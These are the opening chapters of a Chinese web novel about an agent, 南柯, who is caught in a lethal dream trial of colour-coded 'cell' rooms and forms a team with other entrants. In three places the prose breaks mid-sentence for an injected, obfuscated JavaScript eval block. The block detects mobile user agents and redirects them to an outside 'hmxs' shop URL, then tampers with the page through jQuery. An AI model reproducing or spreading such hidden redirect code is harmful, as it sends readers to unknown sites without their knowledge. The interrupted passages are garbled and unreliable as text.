《造梦空间:无限梦境》 1. 细胞工厂(一) 南柯经历了很漫长的混沌。 她感觉像是重新回到了母亲的子宫,周围是温热粘稠的胶质,她在其中自由地舒展身体,仿佛抬手便可以探到遥远的宇宙边界。 这样的状态不知持续了多久,时间的概念在这里变得格外模糊。 好在,在某一个时刻,包裹她全身的温热终于逐渐褪去,皮肤的神经末梢对外界的感知开始缓慢回归。 再睁开眼时,南柯发现,她正身处一个透明的房间中。房间外是朝四面八方飞速流窜的蓝色光线,目之所及再看不到别的支点,她只是这片浩瀚宇宙中的沧海一粟。 她垂眼看了看自己与现实世界中别无二致的衣着,然后,嘴里泄出一声几不可查的喟叹。 【造梦空间】,意识淬炼。 所以现在的自己,已经是意识体了吗? 南柯无暇对全然陌生的环境进行判断。 机械般冰冷的女声从未知的方向传来。 “欢迎进入【造梦空间】。三十秒后,您将进入初次筛选。在该筛选中,您会被传入随机分类的随机梦境。 在规定时间内成功穿越梦境者,可正式参与【造梦空间】的剩余考核。 此外,穿越成功者,可获得重要道具;穿越失败者,死。” “30……” “29……” “28……” “……” 读秒声进行的同时,南柯面朝的透明墙壁上出现了代表倒计时的红色数字。 在短暂的半分钟倒计时中,她闭上眼睛,尽力调整自己因骤然降临到陌生环境而显著变快的心跳。 这一年,A国范围内多了数十万起植物人的病例。 诡异的是,其中许多人本该死的——严重车祸、高空坠落、突发心梗脑梗,甚至肾衰竭、肝硬化晚期……按照医学常理,他们生存的概率微乎其微,根本不该陷入“植物人”这种状态。 当人们终于发现这一诡异现象时,一条无法溯源的匿名信息通过短信或邮件的形式发送到了A国各领域精英人士的手机上。 “人类的意识能否脱离血肉之躯独自存在?无形的意识蕴藏着怎样的能量与磁场?若将意识淬炼至极致,是否便是永生的序章? 【造梦空间】诚邀您参与一场意识的进阶。成功穿梭十二重随机梦境,您将在数十亿人中脱颖而出,成为地球的终极王者。 警告:沉沦于梦境者死。 请慎重决定您的命运。” 信息最下方附了一条乱码的链接。 起初,大部分人以为这是一种新型的钓鱼网站,直到第一个人不小心点击了那个链接—— 从点击链接的那一刻,点击者瞬间昏迷,生命体征正常,与植物人无异。 这一现象引发了世界范围内脑科学专家的关注。 最终,专家一致得出令人战栗的结论:这个名为【造梦空间】的东西,很可能是高维生物的思想入侵。而先前无端新增的大批植物人病例,或许是濒死之人对【造梦空间】的被动尝试。 一时间,【造梦空间】成为了全国的舆论热点,伴随着对高维生物入侵的恐惧,“意识进阶”的噱头也引发了相当一部分人群的兴奋与狂热,几乎每隔几天都有某领域的知名人士突然陷入昏迷的社会新闻,甚嚣尘上。 然而,在这场【造梦】的的狂欢持续了大概三个月的时间后,一个冰冷的事实浇灭了大多数人的热情:至今,还无一人从【造梦空间】中成功苏醒,倒是有许多植物人在睡梦中毫无征兆地突然死去。 恐惧渐渐压过狂热,【造梦空间】慢慢成为一个令人讳莫如深的禁忌词。 在这种氛围中,南柯突然接到一个特殊的任务——进入【造梦空间】,拯救目标人物。 她出身于A国训练有素的特工组织,近年来被指派贴身保护全球顶尖的A国企业家。 多年来,她恪尽职守,为不同雇主挡下无数波境外竞争对手派来的职业杀手,是组织中最顶级的精英。 每个特工都有职业生涯的黄金期,已经二十六岁的南柯本来在今年年底就要光荣退役。然而,面对这个极度危险、极有可能殒命的任务,南柯没有太多犹豫便签署了接受任命的承诺书。 组织里有相当一部分成员是前辈从全国各地带回来的孤儿。他们被授以各种技能,最终用生命为组织效命。 南柯就是其中之一。 服从命令的意志已经融入她的骨血。 点击进入【造梦空间】的链接前,南柯脑中最后回忆了一遍目标人物的特征:“于尘,18岁,精通多国语言,智商极高。三个月前因突发性脑梗塞而陷入植物人的状态。特征标志为:右侧腰线处有一块1厘米左右的蝴蝶形的胎记。” 寥寥数语,没有身份,没有形貌。 任务失败则死。 …… 三十秒的读秒很快结束。 南柯从短暂的回忆中瞬间抽离。 机械女声已经开始宣读初次筛选的规则。 “梦境分类:自然。” “梦境名称:细胞工厂。” “应试者投放数量:1000。” “规则:应试者拥有的初始能量值为5个能量单位。经过红色房间,消耗2个能量单位。经过橙色或黄色房间,消耗1个能量单位。经过绿色房间,可补充能量。能量值变为负数者,视为穿越失败。” “注意事项:能量补充的规则需自行探索。” “注意事项:各种房间的功能与限制需自行探索。” “梦境穿越条件:抵达作为终点的蓝色房间,并破解离开梦境的终极密码。” “祝您好运。” 南柯在心里默记所有的梦境规则,并在心中标注重点。 自然,细胞。 五种颜色的房间。 能量的补充与消耗。 从规则来看,像是一个机制类的解密型游戏。 还好,组织为了将他们培养成顶尖的特工,除了格斗技巧外,其他方面的培训也没有落下。 飞速整理好关键信息,她眼前光芒一闪,透明的房间内壁缓慢消失,大片绿色在周围快速铺开—— 她的初始点是一个绿色房间,房间五面墙壁,包括天花板和地板,都是绿色,另外一面是铅灰色。 房间的面积大概十平方米,她警惕地环视四周,这个房间只有她一个人。 她垂眼在自己身上扫视一圈,衣着无甚变化,只是手腕处多了一个带有显示屏的手环。 此时,手环上显示了两行信息: 第一行:坐标(-15,15,13)。 第二行:能量单位5。 这或许是一个不错的开局。 绿色的房间可以补充能量,独自一人的环境可以避免与其他“应试者”发生冲突——她暂且不知道在这个【造梦空间】中,“应试者”之间是否有竞争关系。 南柯仔细观察起房间的布局。 整个房间无甚陈设,只有最中央的位置放置着一个圆柱形的控制台。她走近细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578977|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,控制台上只有一个按钮,上面写着“补充能量”的字样。 她继续向前走到墙壁处,绕着房间走了一整圈。 五面绿色的墙壁上都有一个按钮,标注着“OPEN”的字样,而铅灰色的墙壁上空无一物。 南柯想了想,走到铅灰色墙壁对面的绿色墙壁边,按下了墙上的“OPEN”按钮。 一声类似于锁舌弹开的机括声响起,面前严丝合缝的墙壁上突兀地呈现出一扇门的轮廓。大门瞬间从中央向两侧滑开,露出门后的场景—— 漆黑一片,无法视物。 南柯谨慎地向前靠近门边,外边浓重的漆黑丝毫没有散开的迹象,仿佛被规则强制笼罩。 她在心里盘算,按照规则,门外连接的应该是另一个类似的房间,只是为了游戏的公平性,隔壁房间的颜色应该只有踏入才可以辨别。 洞开的门大概在两秒钟后开始向内合拢,最终完全闭合。 也就是说,只有一个人的情况下,完全无法得知相邻房间的任何信息。 整合目前的已知条件,南柯得出几个结论。 首先,每个房间只在垂直于墙壁的方向开门,说明在坐标系中的移动只能沿着坐标轴方向,而不能沿对角线。 其次,根据手环显示坐标值这一设定,作为终点的蓝色房间很可能具有唯一、特殊的坐标值。如果这个坐标值是(0,0,0),那么以南柯现在的位置,按照曼哈顿距离的计算方式,她需要经过43个房间可以抵达终点,说不上是多还是少。 从规则可以看出,能量值是这个测试的核心参数。 第一个绿色房间的探索势在必行。 南柯深吸一口气,走回中控台,谨慎地按下了“补充能量”的按钮。 几乎是她抬起手指的同一时间,一道绿色的激光从一面绿色墙壁中直奔她的身体飞射而出。 多年的职业经验让她对危险的感知极度敏锐,几乎是下意识地,她一个侧翻避开那束激光。 然而,这还不算结束。 激光打在对面的墙壁上并未消失,而是以墙壁为界面,以精确的角度发生的反射,原先的光路和反射光路飞快将狭小的房间进行分割。 南柯当然不想用身体试探这些激光的效果,于是行动的区域大幅受限。 几秒后,她手环上传出清晰的“滴”声。 她在同一时间飞快瞥了一眼手环的数值。 能量值那一行正从5跳到6。 补充能量值的规则大概已经清晰。 只要不离开这个房间,最初射出的激光就会不断在六面墙壁上发生反射,交织成的光网会不断压缩应试者的活动空间,而在该房间中坚持的时间越久,能量值的补充量也会越高。 南柯一边闪躲密度逐渐升高的激光,一边通过预判激光的轨迹来计算自己坚持的时间上限。 10秒。 她最多有10秒的时间,不被激光扫射到,同时走到最近的“OPEN”按钮处。 果然,在第9秒时,南柯清晰地感觉到自己上衣下摆的衣料被切下一小块。 她没回头,果断地按下距离自己最近的“OPEN”按钮,朝着瞬间洞开的大门一跃而去,最终落在实地。 满屋的绿色激光消失不见,危机暂时解除。 入目的色彩转变为鲜艳的红色。 南柯轻轻吐出一口气。 然而,她还没来得及看手环上的数据变化和红色房间的陈设,便感觉身后传来一阵疾速的劲风。 2. 细胞工厂(二) 南柯感受着背后的人出手的力道,已经攥紧的拳头缓慢松开来。 她不动声色地任由身后的人捏紧她的喉咙。 有时候,处在弱势的位置往往能获得更全面的信息。 南柯感受着脖颈上手指的力道,同时用敏锐的听觉感应着周围的情况。 整个房间只有两道微弱的呼吸声,她紧绷的身体渐渐放松下来,并沉默等待着偷袭者的下一步。 半晌,清脆的男声在她身后响起:“把右手抬起来。” 那是佩戴手环的手。 南柯听话地抬起右手。 手环响起连续的“滴”声。 五声“滴”声后,手环上传来机械女声:“能量剥夺超过阈值。” 原来,能量不仅可以通过绿色房间进行补充,还可以对他人的能量进行抢夺。 目前看来,单次抢夺的上限值是5个能量单位,只是不知道,抢夺次数是否会刷新,多长时间刷新一次。 许是对方并不经常做这种违背道德的事,南柯感觉捏着她脖子的手力道时重时轻,动作生涩而不自知,仿佛生怕不小心把她掐死,又怕被她脱离控制。 能量到手,南柯没有丝毫反抗,男人终于放松下来。 他谨慎地下达指令:“朝前走,按墙上的开……。” 话还没说完,他突然感觉腕骨和膝盖骨处几乎同时传来碎裂般的痛感。 视线再次清晰的时候,他已经被人从背后扭着一条手臂单膝跪在地板上。 男人显然属于有些体力、但武力值普通的那一类,在南柯的反制之下毫无还手之力。 他口中溢出痛苦的呻吟声,拼尽全力想要回头看清制服他的女人的面貌,但压在他肩膀处的手力道坚硬似铁,他挣脱不开分毫。 淡漠而带着玩味的女声在耳边响起,“现在,轮到我了。” 南柯抬起右手看了看手环上的信息: 第一行:坐标(-15,14,13)。 第二行:能量单位1。 看来朝(0,0,0)靠近了一个格。 她本身的能量单位是5,在绿色房间共听到3声“滴”声,说明补充了3个能量值。红色房间消耗2个能量,被男人抢夺5个能量,最终还剩下1个能量。根据在绿色房间听到“滴”声的均匀间隔,南柯推测能量的获取与时间成正比,大概3秒可以获得一个能量值。 复盘完自己手上的信息,南柯开始观察起红色房间。 这个房间不存在铅灰色的墙壁,六面墙壁都是红色。 南柯对此隐约有了初步猜想。 目之所及,房间内没有任何多余的陈设。 但在南柯的直觉中,空无一物的红色房间,仿佛比绿色房间更加危险,这从高于其他房间的能量值扣除就可见一斑。 而且,自进入这个房间之后,南柯总是隐隐觉得空气中漂浮着令她不太舒服的气息,但专注去闻的时候,又确实没什么异常。 这时候,男人明显比刚刚紧张的声音响起:“你想做什么?” “我问,你答。” 男人没说话,南柯也不介意。 她打量着房间墙壁上和绿色房间里如出一辙的“OPEN”按钮。 “这是你进入的第几个梦境?” 男人仍然沉默。 南柯轻笑一声,紧扣男人脊骨的膝盖用了几分力,“你是想好好说,还是等我动手之后再说?” 男人闷哼一声,不知道看起来纤弱的女人哪儿来的力气。但他毫不怀疑,如果南柯再用力一分,他的脊椎真得会直接断裂。 形势所迫,他不情不愿地答话:“第一个。” 也是第一个。 这极有可能是一个专门用于对“应试者”进行“初次筛选”的梦境。 南柯对他进来的理由没有兴趣。 她直截了当:“在这个梦境中,这是你进入的第几个房间?” “第四个。” 那就对了。 每个进入游戏的‘应试者’获得的规则一定是等同的,男人一定是在前边的房间遇到了其他‘应试者’,机缘巧合之下才发现了抢夺能量相关的隐藏规则。 “你的初始房间是否有一面灰色的墙壁?” “有。” 果然。 她继续问:“后面两个房间呢?” 男人顿了顿,给出回答,“第二个有,第三个没有。” 当前第四个也没有。 南柯并不担心男人撒谎。 当前,所有“应试者”都处于游戏的初始阶段,对运行规律知之甚少,给出错误信息损人不利己,而且男人并不知道南柯当前探索到了什么阶段,贸然撒谎,如果被眼前强势的女人看穿,对他更无益处。 她继续问:“前三个房间的颜色是什么?” “橙色,红色,绿色。”男人不甘不愿地回答。 他在第二个红色房间就遇上了其他应试者,机缘巧合之下发现两人的手环相碰的时候可以选择能量赠送或能量剥夺。对方也不是善茬,他只来得及剥夺1个能量值,就飞快地跑入第三个房间。 本以为在绿色房间可以进行补充,但在致命的激光扫射下,他只堪堪坚持了补充1个能量值的时间。 而且,第四个房间又是倒霉的红色! 遇到南柯之前,他手里只剩下2个能量值。 这是一个极度危险的数值,他不得已才停下前进的脚步,在房间里埋伏下一个应试者,希望可以通过剥夺一些能量值来补充自身。 想不到出师不利! 遇到个比五大三粗的男人更难对付的狠厉女人。 南柯当然不会理会男人心里的哀怨。 她继续发问:“橙色房间有什么?” 这是南柯没进入过的房间类型,她希望从男人身上获得更多信息。 男人哼哼两声,“中间有个中控台,上边可以进行游戏,点击开始,屏幕会乱序滚动带有不同图形组合的图片,每个图片编号不同。10秒钟后滚动停止,屏幕会出现曾经滚动过的某个图形组合,在下方的答题框答对该图片对应的编号,即为通过。” 典型的记忆力游戏,难度随着图片的数量和滚动的速度而变化。 “通过后会怎么样?” “我不知道。” 南柯膝盖的力气又重了一分。 “哎哎,别别别!我真的不知道!”剧烈的疼痛下,男人连连讨饶,“我对这个游戏不太有把握,担心直接点击开始的话万一答错,房间会被锁死。好在这个房间的门并不是必须答题才能打开的,我就随便选了一扇门出来了。” 所以,他在橙色房间浪费了1个能量值,一无所获。 问完想问的问题,南柯直接松开了对男人的禁锢,仿佛丝毫不担心与他正面碰撞。 男人感觉某种程度上受到了蔑视和侮辱,偏偏他对刚刚南柯敏捷狠厉的动作心有余悸,迟迟不敢再次进攻。 眼前的女人一头短发清爽干练,偏中性的打扮为美艳的眉眼平添几分飒爽的风姿。 确实看着就像隐藏的大佬。 南柯并不在意男人在心里对她的描画。 她漫不经心地揉了揉手腕,朝男人走过去。 胆敢“埋伏”她的男人,戴着副黑框眼镜,模样清秀,大概也就二十出头,可能还在读大学。 南柯懒得为难他,嗓音散漫:“右手抬起来。” 这是要追回被他拿走的能量值了。 男人心中警铃大作,然而,还没等他有所动作,腕骨处再次传来尖锐的疼痛。 “啊——” 南柯的手环飞快贴上男人的手环。 没有反应。 南柯捏着男人的右手腕:“怎么操作?” 男人咬碎一口银牙。 不甘心是自然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578978|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但问题是,他打不过呀! 人在屋檐下,不得不低头。 “点击屏幕的空白处一下,是能量赠与。连续点击两下,是能量剥夺。点击以后再靠近另一个手环,能量才会发生移动。” “哦。” 果然这种类似于电子产品的东西还是年轻人比较熟悉。 四下连续的“滴”声响起,南柯把刚刚失去的5个能量值追回4个。 然后再次松开男人的手腕。 这次,男人也顾不上反击了,他谨慎地看着南柯,小心确认:“你……是不是少刷了一个?” 南柯惊讶地瞥他一眼:“你还怪诚实的。” “……” 也不是,就是觉得你没这么好心。 男人当然不敢把心里话说出来。 他直觉南柯对他没什么报复的兴趣,再加上刚刚那1个能量值的额外赠与,他胆子也大了起来:“你……知道怎么通关吗?” 南柯想了想:“你叫什么名字?” 怎么还social上了。 男人彻底老实了:“白芒。” 南柯忍了忍,没忍住,唇角勾起一个浅淡的弧度。 确实是白忙。 白芒憋屈地咬了咬腮帮子。 “我叫南柯。如果你不介意,我们可以组队。” 白芒愣了愣。 他想了许久,自己的资质,似乎方方面面都很难被眼前的“大佬”选为队友。 唯有一种解释,这个梦境,必须要和队友配合才可以通过。 但他有更深层的考虑。 在能力不匹配的情况下,他无法保证自己不被南柯利用,作为试探正确出路的试验品,甚至在不了解南柯实力的时候,他有一瞬间也对对方产生了类似的邪恶念头。 他再次试探:“你能保证带我通关?” “不能。” 白芒:过于坦诚了吧? 不过很快,南柯就进行了补充,“但我可以保证不把你当垫脚石。” 白芒:我的心思这么容易被看穿? “而且,我对这个梦境的设计,有了一点初步的想法。” 白芒做出洗耳恭听的姿态。 职业原因,南柯不太喜欢说话,但现在……也没办法。 “梦境名称是细胞工厂,整个场景的设计很可能是在模拟细胞功能。” “绿色的房间补充能量,功能很像细胞内的线粒体。”南柯怕白芒跟不上她的节奏,贴心地问了一句,“对了,学过初中生物吧?” 白芒以一个白眼作为回答。 南柯放心地继续解释:“红色的房间消耗最多,从能量变负应试者就会死这一规则来看,红色房间的威胁最大,初步推测很像细胞中溶酶体的角色,溶酶体主要分解对细胞有害的外来物质,显然在这个场景中,我们就是外来物。或许除此之外红色房间还有更大的威胁,有待探索。” 合理。 “除此之外,我猜想,墙壁上有别于规则中五种颜色的铅灰色,可能代表着这个‘细胞’的边缘。” 白芒跟随着南柯的思路,“所以,我们的初始房间都有一面灰色的墙壁,说明每个‘应试者’的起点,都在‘细胞’边缘?” “或许,不过这需要更多的应试者才能确认。”南柯顿了顿,“如果这个思路正确,而且‘细胞’中心点的坐标正好处于(0,0,0),那么,我们所在的整个梦境场景,很有可能,就是一个半径接近25的球状体。” 白芒的脑子有些跟不上了。 “为什么是25?” “你们初中没学过已知球面某一点的坐标,求球体半径的公式吗?” “……” 白芒:我只是一时没有反应过来而已! “抱歉。”南柯没什么歉意地看他一眼,“我只是默认A国已经普及了九年义务教育。” “……” 3. 细胞工厂(三) 为了挽回在南柯面前的形象,证明自己的价值,白芒积极分析,“所以,我们最终要去的地方,是这个‘细胞’的细胞核?” “或许。” “那不是很简单?我们拥有当前的坐标值,只需要认准一个方向朝着中心坐标值靠拢不就行了?” “三个点。” “啊?” “第一,细胞学中,‘细胞核’大部分情况下并不位于绝对的中心位置,而且,细胞质是流动的胶质,核的位置一直在变化。” “第二,你如何确定,你每次选择的门都朝着同一个方向前进?” “最后,倘若理想状态下我们真的可以始终朝同一个方向行进,如何确保在到达终点之前能量值不会耗尽?” 如果说第一条和第三条都有理有据,那么第二点白芒就有些不解了。 “我刚进来的时候很谨慎,所以在前三个房间停留的时间都在10分钟以上。在此期间,我一直在关注手环上的坐标,单个房间的坐标始终是确定的,那岂不是说明每个房间都是相对静止的吗? 这样的话,假如我们每次进入一扇门,都从它对面的门穿出去,不是就能确保行进方向始终不变了?” 南柯对于白芒多少还有那么一点儿的观察力表示满意。 所以她破天荒多提醒了一句:“如果处在某个坐标的是一个点,那坐标不变,它当然是绝对静止的。但现在,对应这个坐标的,是一个有体积的立方体房间。” 与南柯相处的紧张感渐渐褪去,白芒的思考能力飞速回归:“你是说,我们有可能处在一个在原地转动或翻滚的房间!” “只是推测。” “可是,如果我们初始房间的灰色墙壁代表细胞边缘,那面墙壁的位置始终没有发生变化,不就说明了初始房间是绝对静止的吗。” 南柯语气平静:“所有动态的物体都有一个相对静态的参照。或许在这个场景中,细胞边缘就是唯一的静态参照。” 白芒越发觉得这个设定才符合【造梦空间】的逼·格。 他满眼崇拜地看向南柯,好奇她怎么会有这种奇思妙想。 许是他的眼神太过直白,南柯有些无法消受,她嗓音淡漠地解释,“也只是根据九年义务教育的内容进行的合理猜测,没那么高深莫测。” “……” 合着九年义务教育这个梗是跳不过去了。 白芒彻底失去和南柯交流的欲望。 他决定直接听从“大佬”的指派做事。 “那我们接下来要做什么?” 南柯随意走到一面墙边。 “你留在这个房间。” 说着,她便要去按墙上的“OPEN”按钮。 白芒心头一紧,“你要进去?那万一房间真的在转动,我们不就彻底分开了,我怎么去找你?” “在我进来之前,你是怎么准确预判我的落点进行埋伏的?” 白芒面色一红。 不过很快,他脑子里灵光一闪,“你开门的瞬间,我听到了那个方向传来的声音!” 所以,在那一瞬间,声音可以在相邻房间进行传递! 南柯满意点点头。 “每隔30秒,你打开这扇门叫我的名字。如果我听到,我会在第一时间回应你。如果你没收到回应,就说明整个房间在发生原位转动,相邻的房间已经改变,那么你只需要等待下一次我再次回应的时刻来到我所在的房间汇合。” “明白了?” 白芒在脑海中飞快理清整个过程。 准备好后,他欲言又止地看着南柯。 南柯:“有话就说。” 白芒神色有些迷茫:“大佬,这个‘梦境’如果通关失败,我们真的会死吗?” 南柯抬眼看他:“你害怕?” 白芒摇摇头:“也不是。虽然不知道【造梦空间】是什么东西,但我也看过很多科幻小说,大概在外边,我已经死过一次了。” “怎么死的?” “猝死吧,记忆里最后一个场景是在公司加班来着。” “……” 白芒挠了挠脸,“就是……不知道这里边有什么千奇百怪的死法。我有点儿怕疼,要是在这里被万箭穿心什么的,还不如在外边儿直接死透算了。” 他语气很平静,但南柯还是捕捉到他眼底蕴藏着的恐惧和焦虑。 到底也只是个二十岁出头的年轻人。 南柯想着她是不是需要对队友聊表安慰,但她实在不太擅长这些。 想了想,她简短地说了一句:“那就努力通关,不要死。” 还没等白芒反应过来,南柯便点击按钮,跃进开启的大门之中。 门外传来她短促却清晰的声音:“橙色。” 随后,飞快关闭的大门隔绝了一切。 白芒赶紧收敛多余的心神,开始在心里默读秒数。 30秒之后,他打开南柯离开的那面墙壁上的大门,大声呼喊她的名字—— 门外一片寂静,漆黑的空间把他的尾音吞噬殆尽。 果然! 白芒定了定心神,继续速度平稳地数秒。终于,在他数到第4个30秒后,门外的房间传来清晰的指令。 “过来。” 白芒毫不犹豫地跳进房间之中。 重新见到南柯,他像见到久违的亲人那样直扑过去,语气激动:“房间真的会发生转动!转动的周期大概是两分钟!” 南柯并不意外这个发现。 她只是淡淡地点了点头,然后指了指白芒的身后。 白芒茫然地转过身去,然后下意识地往后一跳,“我靠!” 在他穿门而过时,身后形成一个难以察觉的视角盲区。他此时才发现,这个橙色房间,居然还有一个人! 眼前的男孩看上去比他还小,大概十七八岁的样子。 虽然“漂亮”这个词用于形容男性不太合适,但面前的男孩儿长得实在好看,栗色的短发微卷,几缕碎发垂在额前,略微遮掩住琥珀色的瞳孔,鼻梁的轮廓和纤薄的唇形精致得恰到好处,颇有几分撕漫男的冷艳气质。 然而,顶着这样一张让人难忘的脸,男孩儿的眼神却又实在澄澈,乖顺得像未经世事的鹿灵。 极具反差感的长相和眼神让白芒惊了个大呆。 他反应了好几秒,才消化了这个事实:在房间里遇到别的“应试者”并不是什么特别的事,在他经历的前四个房间里,包括南柯在内,他已经遇见过两个人了。 “你……好?” 男孩笑起来让人如沐春风:“你好,我是陈立阳。立春的立,太阳的阳。” 如沐春风的人取了个如沐春风的名字。 “你好你好,我叫白芒,芒种的芒。” 短暂的招呼后,白芒确认陈立阳并没有和他们敌对的意思。 他开始想起正事。 “看来我们无法根据坐标确定唯一的前进方向。那下一步该怎么办呢?” 他看向南柯,接话的却是陈立阳。 他声音温柔谦逊:“那或许,弄清楚橙色和黄色房间可以提供的线索,是唯一的解决方案了。” 哦,对。 梦境不可能无缘无故给出和主线毫无关联的房间颜色。 欸,不对呀! 白芒惊讶地看向陈立阳,“你也入伙了?” 陈立阳被这个不太专业的词语逗笑。 “嗯,芒哥,求带求保护。” 说着求保护的话,陈立阳脸上却没有一丝谄媚的神情。 白芒莫名从他身上看出些和南柯相似的高深莫测。 陈立阳主动和白芒同步自己的信息。 这是他进入的第二个房间,他经历的第一个房间是红色,房间中同样有一面灰色的墙壁,和南柯之前的推断吻合。 也就是说,当前,南柯、白芒和陈立阳三人的能量值剩余分别是:4,2,2。 大致将当前的信息理顺,白芒本着自己先“入伙”,并且显然年长于陈立阳的这一点点优势,当即大方表示:“以后大家都是一家人了。” 南柯:“……” 她不合时宜地打断这份温情的寒暄。 “小孩儿,来试试这个谜题。” “来了,姐姐。” 白芒内心一片苍凉—— 这“小孩儿”叫得怎么莫名宠溺?我就没有这待遇? 可以啊小朋友,叫我就是“芒哥”,叫大佬就是“姐姐”。你是懂谁是真大腿的! 正如白芒提供的信息,橙色房间的任务是完成记忆力考察的游戏。 只是白芒经历的那个房间考察的是图形组合,而这个房间的考察更难一些,是杂乱无序的线条组合,每个图片大约有十到二十根线条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578979|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交织而成,且不同组合极为相似,有些两张图之间只有一根线条的微弱差距。 陈立阳点击中控台屏幕上开始游戏的按钮后,图片开始滚动。 一开始滚动的速度较慢,到后来的几秒钟,已经快到一秒钟过五张图的程度。 白芒和南柯在两侧一起看着屏幕的图案变化。 等谜面的图案最终定格的时候,南柯心里浮现出一个数字。 白芒已经目瞪口呆:“这是人能看清楚的速度?” 陈立阳笑了笑,“是有些难度。” 然后,他信手用屏幕上的数字键盘输入一个数字。 白芒:?不是说好的有些难度? 陈立阳看向南柯:“姐姐,我点提交了?” 屏幕上清清楚楚地显示着“17”。 和南柯心里的两位数严丝合缝地重合在一起。 她意味颇深地看乐陈立阳一眼。 不知为什么,南柯总觉得这个小孩儿看着自己的时候,眼底总带着细碎的光,全然不似在看一个萍水相逢的陌生人。 刚刚她第一眼见到对方的时候,就已经有这种感觉了。 那种眼神有点儿类似于崇拜,但和白芒毫不遮掩的崇拜目光又不太一样,似乎更加深邃,更加含蓄。 可她真的不记得什么时候认识过这么一个漂亮小孩儿。 暂时按下没什么头绪的回忆,南柯随意点了点头。 点击提交按钮的下一刻,屏幕上呈现出橙色的“correct”字样。 房间地面上原本黯淡的“OPEN”按钮开始交替闪烁橙色和白色的光。 白芒:服。 他合理推测:“这是不是说明,地面的门指向通往终点的方向?我们要从这扇门出去吗?” 南柯摇头:“再等两分钟。” 说话间,地面上的“OPEN”按钮便停止闪烁,恢复黯淡,位于右侧墙壁的OPEN按钮开始闪烁。 白芒有些不解,陈立阳贴心给他解释:“之前经过验证,房间是会发生原位滚动的,大概每过两分钟的时间完成一个转动周期。也就是说,如果在一个周期结束的时候,闪烁的‘OPEN’按钮的位置重新变成地面,大概就能说明,这个闪烁的按钮指向坐标系中唯一确定的方位。” 陈立阳的解释耐心又细致。 白芒醍醐灌顶。 在新知识的熏陶下,他终于接受了这个令人沮丧的事实:在这个临时组建的三人小团队中,只有他是唯一的凑数担当。 大概经过两分钟的时间,闪烁的“OPEN”按钮果然重新回到地面的位置。 许是因为短时间内见识了多次“奇迹”,白芒已经没有一开始那么容易激动。 他例行公事地询问:“我们要从地面走吗?” “等它跳到某个墙壁。” 确实,上方和下方都不是比较方便的穿门位置。既然房间会转动,那只需要等目标门转到四周即可。 比起这个问题,南柯有更关心的事情。 她征询陈立阳的意见:“小孩儿,你觉得,我们要走按钮闪烁的门,还是它对面的那扇门?” 无疑,闪烁的按钮指向的是某个确定的方向。 但这个方向到底指向终点,还是指向终点的逆方向? 如果绿色的房间代表“线粒体”,红色的房间代表“溶酶体”,那橙色和黄色又分别代表哪种“细胞器”? 对于这些疑问,南柯暂时还没没有理出完全清晰的思路。 但她有种直觉,身边的漂亮小孩儿或许会有一些特殊的见解。 听到南柯提出的问题,陈立阳的眼底几不可查地闪过一丝微光。 他斟酌用词,谨慎提出自己的建议:“如果让我选,我可能会先尝试闪烁按钮对面的门。” 一句“为什么”在白芒的嘴边萦绕,然而,在脱口而出的前一刻,南柯已经做出决断。 在闪烁的按钮跳动到他们右侧墙壁的一瞬间,南柯走向它对面的墙壁,并且直接按下“OPEN”按钮。 陈立阳愣了零点五秒钟。 她几乎没有任何犹豫地听从了自己的建议。 尽管极力压制,他唇角还是忍不住掀起微小的弧度。 这样被无条件信任的感觉,他已经好久没有感受到了。 即使,现在只是在一场荒诞的“梦境”之中。 4. 细胞工厂(四) 南柯三人几乎同时步入目标房间。 不知是不是陈立阳的加入带来了好运,他们这次的落点,恰巧正是从前没有经历过的黄色房间。 然而,刚看清房间的颜色,白芒立刻又吃了个大惊—— 他在这个房间见到了自入梦境以来最多的人。 十平米左右的房间本就拥挤,加上他们三个,房间里此时的人数居然达到七个之多! 不过,显然房间的“原住民”比白芒要素质高一些,虽然脸上并不都是热烈欢迎的表情,但至少没人因为场地优势而对他们进行偷袭。 南柯谨慎地观察房间里的四个人。 距离他们最近的男人穿着剪裁得体的衬衫和西裤,看起来大概三十五岁上下,面容斯文,眼神沉稳; 与西装男相错半步的是个肌肉壮硕,面色黝黑的男人,他目光犀利地在南柯三人身上横扫,透露出明显的防备; 角落里的少女和他们距离稍远,看着大概二十岁出头,一身花花绿绿的嘻哈打扮,耳后一缕短发挑染成鲜亮的粉红色。看到来人,她做出夸张的欢迎手势; 最后一个女人正站在房间的中控台前查看屏幕上的信息——黄色房间的陈设同样只有最中央的一个中控台。女人穿着简约的黑T恤和牛仔裤,半长的头发随意在脑后扎成丸子,气质很像大厂里的程序员。她微微点头朝南柯等人致意。 南柯做出简单判断—— 